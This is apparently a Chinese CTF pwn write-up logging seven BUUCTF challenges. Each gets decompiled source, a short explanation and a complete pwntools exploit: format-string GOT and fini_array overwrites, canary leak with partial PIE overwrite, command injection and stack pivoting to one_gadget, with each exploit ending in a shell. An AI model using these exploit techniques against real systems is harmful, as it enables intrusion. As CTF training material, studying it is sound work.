【BUUCTF】刷题记录:
ciscn_2019_sw_1
qctf_2018_dice_game
linkctf_2018.7_babypie
pwnable_loveletter
picoctf_2018_echo back
[GKCTF 2021]checkin
bbctf_2020_fmt_me
(fini.arry)ciscn_2019_sw_1保护&源码 保护:
源码:
int __cdecl main (int argc, const char **argv, const char **envp) { char format[68 ]; setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); puts ("Welcome to my ctf! What's your name?" ); __isoc99_scanf("%64s" , format); printf ("Hello " ); printf (format); return 0 ; } int sys () { return system(command); }
思路 程序中有一个格式化字符串漏洞,但只能执行一次格式化漏洞函数,有system函数。我们可以看到printf(format)后面main函数就执行完了,所以不管我们修改哪一个函数的got表值为system@plt的地址,都不行。后来看wp,发现我们可以修改fini_array的函数指针为main函数地址,这样就能再执行一次main函数了。
刚开始用下面这个方法,泄漏我们输入的第一个参数在栈中的偏移量,以为是4,一直打不通,调试的时候查看栈中的值,发现栈中的第1,2和5个参数都是我们输入的第一个参数,所以我们并不能确定准确的偏移量
然后我发送下面这个payload
payload = b'aaaabbbb' +b'%p%p%p%p%p'
现在可以看出泄漏的第1个参数地址是栈中的第2个参数,也就是说我们计算偏移量的时候要从02这个序号开始往下数
expfrom tools import *p = remote("node5.buuoj.cn" ,26399 ) elf = ELF('./sw1' ) main_addr = 0x08048534 fini_array_addr = 0x0804979C printf_got = 0x0804989c sys_plt = 0x080483d0 payload = p32(printf_got+2 )+p32(printf_got)+p32(fini_array_addr) payload += b'%' +bytes (str (0x804 -12 ),encoding='utf-8' )+b'c' +b'%4$hn' payload += b'%' +bytes (str (0x83d0 -0x804 ),encoding='utf-8' )+b'c' +b'%5$hn' payload += b'%' +bytes (str (0x8534 -0x83d0 ),encoding='utf-8' )+b'c' +b'%6$hn' p.recvuntil(b'name?' ) p.sendline(payload) p.sendline(b'/bin/sh\x00' ) p.interactive()
拿到flag
qctf_2018_dice_game 分析程序,猜随机数,猜对了就能拿到flag。本题有两种方法,一种是利用溢出覆盖seed的值,然后使其为定值,这样我们就能拿到50个随机数,然后发送。第2种方法是自己起一个生成随机数的程序,在生成随机数的同时发送随机数,同样也能得到flag。
法1 先说第1种,程序中第13行有一个溢出点,read读入0x50个字节到buf中,可以算出buf距离seed的偏移量为0x40。也就是说我们可以覆盖seed,使其为定值,注意这里覆盖要在seed = time(0LL)之后。
payload = b'a' *(0x50 -0x10 )+p64(0 )
此时已经覆盖seed为0,然后写一个c语言程序打印出种子seed为0时,生成的前50个随机数,如下:
#include <stdio.h> #include <stdlib.h> int main () { srand(0 ); int i=1 ; for (i=0 ;i<50 ;i++) { int v2 = rand() % 6 + 1 ; printf ("%d" ,v2); } return 0 ; }
最后exp如下:
from tools import *p = remote("node5.buuoj.cn" ,28649 ) payload = b'a' *(0x50 -0x10 )+p64(0 ) p.sendline(payload) v2="25426251423232651155634433322261116425254446323361" for i in v2: p.sendline(i) p.interactive()
法2 这一种方法是最常见的,也是最容易想到的,就是自己起一个生成随机数的程序,在生成随机数的同时发送随机数,同样也能得到flag。
生成随机数的c程序rand.c:
#include <stdio.h> int main () { unsigned int seed[2 ]; *seed = time(0LL ); srand(seed[0 ]); int v2=0 ; for (int i =0 ;i<50 ;i++){ v2 = rand() % 6 + 1 ; printf ("======>>>%d\n" ,v2); } }
exp:
from tools import *p = remote("node5.buuoj.cn" ,28649 ) p.sendafter("ome, let me know your name:" ,str (0 )) a = process("./rand" ) for i in range (50 ): a.recvuntil("==>>>" ) value = a.recvline(False ).decode() p.sendlineafter("me the point(1~6): " ,str (value)) value = 0 p.interactive()
拿到flag
(canary)linkctf_2018.7_babypie保护&源码 保护:
源码:
__int64 sub_960 () { __int64 buf[6 ]; buf[5 ] = __readfsqword(0x28u ); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(_bss_start, 0LL , 2 , 0LL ); memset (buf, 0 , 32 ); puts ("Input your Name:" ); read(0 , buf, 0x30u LL); printf ("Hello %s:\n" , (const char *)buf); read(0 , buf, 0x60u LL); return 0LL ; } int sub_A3E () { return system("/bin/sh" ); }
思路 程序中直接给了后门函数,可以栈溢出,首先整体思路就是覆盖main函数返回地址为后门函数地址。但是开了canary和PIE保护,所以我们接下来要看看是否能绕过这两个保护。
首先是PIE保护,我们可以看到后门函数地址与原先地址只有最后1个字节不同,所以我们可以只覆盖返回地址的最后一、1个字节,进而控制执行流执行后门函数。
下面图中,printf可以打印出buf的地址里的字符串,正常来讲是不会输出canary的,因为canary的最后1个字节是\x00标志着字符串的结束,但是如果可以覆盖\x00,canary便会被连带着打印出来。
read可以读入64个字节,覆盖canary最后1个字节\x00只需要41个字节即可
payload = b'a' *40 +b'b' p.sendafter("Input your Name:\n" ,payload)
覆盖后,如图:
此时,canary便可被输出,接收canary
p.recvuntil(b'b' ) canary = u64(p.recv(7 ).rjust(8 ,b'\x00' ))
expfrom tools import *p,elf,libc = load("babypie" ,"node5.buuoj.cn:26795" ) payload = b'a' *40 +b'b' p.sendafter("Input your Name:\n" ,payload) p.recvuntil(b'b' ) canary = u64(p.recv(7 ).rjust(8 ,b'\x00' )) log_addr("canary" ) payload = b'a' *0x28 +p64(canary)+p64(0 )+b'\x3f' p.send(payload) p.interactive()
拿到flag
(交换变量值)pwnable_loveletter保护&源码 保护:
源码:
思路 最开始以为程序中没有栈溢出,思路是用逻辑运算符分隔字符串执行/bin/sh或者其他命令,但是看到会被protect函数过滤。
然后也是在这个函数中,我们发现替换后的内容比替换前多了3个字节,可以造成栈溢出。控制v6这个值为1,就会把prolog="echo I love "中的第一个字节拼接到loveletter中。然后我们直接写进nv sh -c sh 拼接即可,注意这里要在最后留一个空格,因为后面还会在被拼接数据。
payload = b'nv sh -c sh' payload += b'a' *(253 -11 )+b';' +b'\x01'
expfrom tools import *p = remote("node5.buuoj.cn" ,28357 ) payload = b'nv sh -c sh ' payload += b'a' *(253 -12 )+b';' +b'\x01' p.sendline(payload) p.interactive()
拿到flag
picoctf_2018_echo back(格式化字符串)总结 程序中有system函数,有格式化字符串漏洞,RELRO保护为Partial RELRO,可以劫持printf的got表为system@plt。但是只有一次printf,然后思路就卡在这里了。后来又想到printf后面还有两个puts,可以修改puts的got表为vuln的地址,然后劫持程序执行流到vuln函数使程序再执行一遍,便可调用syatem函数。
保护&源码 保护:
源码:
expfrom tools import *p = remote("node5.buuoj.cn" ,27568 ) debug(p,0x8048604 ) context.arch='i386' elf = ELF('./b' ) printf_got = elf.got['printf' ] puts_got = elf.got['puts' ] sys_addr = elf.plt['system' ] printf_plt = elf.plt['printf' ] sys_value = sys_addr&0xffff log_addr("sys_value" ) vuln_value = 0x85ab payload = b'%' +bytes (str (0x804 ),encoding='utf-8' )+b'c%17$hn' payload += b'%' +bytes (str (0x8460 -0x804 ),encoding='utf-8' )+b'c%16$hn' payload += b'%' +bytes (str (0x85ab -0x8460 ),encoding='utf-8' )+b'c%18$hn' payload += p32(printf_got)+p32(printf_got+2 )+p32(puts_got) p.sendline(payload) log_addr("printf_got" ) log_addr("puts_got" ) log_addr("sys_addr" ) log_addr("printf_plt" ) p.interactive()
拿到flag
[GKCTF 2021]checkin保护
源码分析
程序中有两次read,第一次是将数据写到了.bss段,第二次有栈溢出漏洞,可以溢出8个字节,我们第一时间想到栈迁移。然后是一个if语句,如果满足条件则执行exit(0)直接退出程序,所以我们要想办法跳过if语句使程序不执行exit(0)。
思路 首先我们要想办法绕过if语句,第一个很容易看出,我们写进s1的数据前5个字符必须为admin。但是我们点进第二个函数中,其实我是看不懂这些函数的,然后看别的师傅的wp发现是一个md5加密,也是要我们写到buf中的内容的前5个字符为admin。
然后我们开始往.bss段中写rop链,我们让第一个内存单元存储admin,以绕过if语句。然后这里又有一个问题,就是我们read只能读入0x20(32)个字节,而b'admin\x00\x00\x00'+p64(pop_rdi)+p64(puts_got)已经用了24个字节,也就是说我们写入elf.plt['puts']后便不能再写返回地址了,显然这是不行的。所以这里我们直接劫持程序执行流到call puts指令的地址,这样也达到了我们再次进行两次read的目的。
call_puts_addr = 0x4018b5 puts_got = elf.got['puts' ] pop_rdi = 0x401ab3 bss_addr = 0x602400 payload = b'admin\x00\x00\x00' +p64(pop_rdi)+p64(puts_got)+p64(call_puts_addr)
然后栈迁移
payload = b'admin\x00\x00\x00' *4 +p64(bss_addr)
第二次布置one_gadget到.bss段,并进行栈迁移
payload = b'admin\x00\x00\x00' *3 +p64(one_gadget) p.send(payload) payload = b'admin\x00\x00\x00' *4 +p64(bss_addr+0x18 ) p.send(payload)
expfrom tools import *context.log_level='debug' context.arch='amd64' p,elf,libc = load("login" ,"node5.buuoj.cn:29508" ,"./libc.so.6" ) debug(p,0x4018b5 ) call_puts_addr = 0x4018b5 puts_got = elf.got['puts' ] pop_rdi = 0x401ab3 bss_addr = 0x602400 payload = b'admin\x00\x00\x00' +p64(pop_rdi)+p64(puts_got)+p64(call_puts_addr) p.recvuntil(b'>' ) p.send(payload) payload = b'admin\x00\x00\x00' *4 +p64(bss_addr) p.recvuntil(b'>' ) p.send(payload) p.recvuntil(b'BaileGeBai' ) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) log_addr("puts_addr" ) libc_base = puts_addr-libc.sym['puts' ] log_addr("libc_base" ) one_gadget = 0x4527a +libc_base payload = b'admin\x00\x00\x00' *3 +p64(one_gadget) p.send(payload) payload = b'admin\x00\x00\x00' *4 +p64(bss_addr+0x18 ) p.send(payload) p.interactive()
拿到flag
最后说一下,一开始打本地一直不通并在第二次读入前程序就崩了,而打远程却通了。其实是libc的原因,远程的libc与本地的libc不同,一些栈帧大小也不同,所以我们把本地的libc换成远程的即可。
bbctf_2020_fmt_me总结
在gdb中又学到一个查看地址中内容的命令,x/s以字符串的形式表示。
如果我们要修改8个字节,但是只写入3个或更少的字节,可以直接用fmtstr_payload函数,fmtstr_payload中的参数
命令分隔符;
保护
源码
expfrom tools import *p = process('./fmt' ) debug(p,0x4012d5 ) elf = ELF('./fmt' ) context.arch = 'amd64' atoi_got = elf.got['atoi' ] system_plt = elf.plt['system' ] log_addr("atoi_got" ) log_addr("system_plt" ) p.sendline(str (2 )) payload = fmtstr_payload(6 , {elf.got['system' ]:elf.sym['main' ]},write_size='long' ) p.sendline(payload) pause() p.sendline(str (2 )) payload = b'/bin/sh;' payload+= fmtstr_payload(7 ,{elf.got['snprintf' ]:0x401056 },8 ,write_size='long' ) p.sendline(payload) p.interactive()